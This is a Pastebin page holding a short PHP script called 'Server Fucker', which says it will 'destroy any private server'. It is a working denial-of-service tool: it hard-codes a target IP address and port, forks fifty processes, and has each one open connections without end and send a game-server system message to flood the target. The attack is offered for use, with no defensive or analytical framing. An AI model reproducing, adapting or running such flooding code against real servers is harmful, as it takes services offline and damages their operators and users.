Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- *
- * Server Fucker
- *
- * This script will most likely destroy any private server.
- *
- * @author StaticABC, Test
- * @version 0.0.2
- *
- */
- // Configuration
- define('IP', '89.122.55.88');
- define('PORT', 6112);
- define('FORKS', 50);
- require_once("fork.inc.php");
- // Executing class
- class executeThread extends PHP_Fork {
- // Fields
- private $intCount;
- private $strName;
- function executeThread($strName) {
- $this->PHP_Fork($strName);
- $this->intCount = 0;
- $this->strName = $strName;
- }
- function run(){
- while(true){
- $resSock = socket_create(AF_INET, SOCK_STREAM, 0);
- if(@socket_connect($resSock, IP, PORT)) {
- socket_write($resSock, "<msg t='sys'><body action='rndK' r='-1'></body></msg>" . chr(0));
- echo date("H\:i\:s"), ': ', 'Sent(',++$this->intCount, ') on ', $this->strName, "\n";
- } else {
- // False was returned, could not connect
- echo "Unable to connect!\n";
- }
- }
- }
- }
- // Actual script
- for($intLoops = 0; $intLoops < FORKS; $intLoops++){
- $objFork = new executeThread('Fork-' . $intLoops);
- $objFork->start();
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement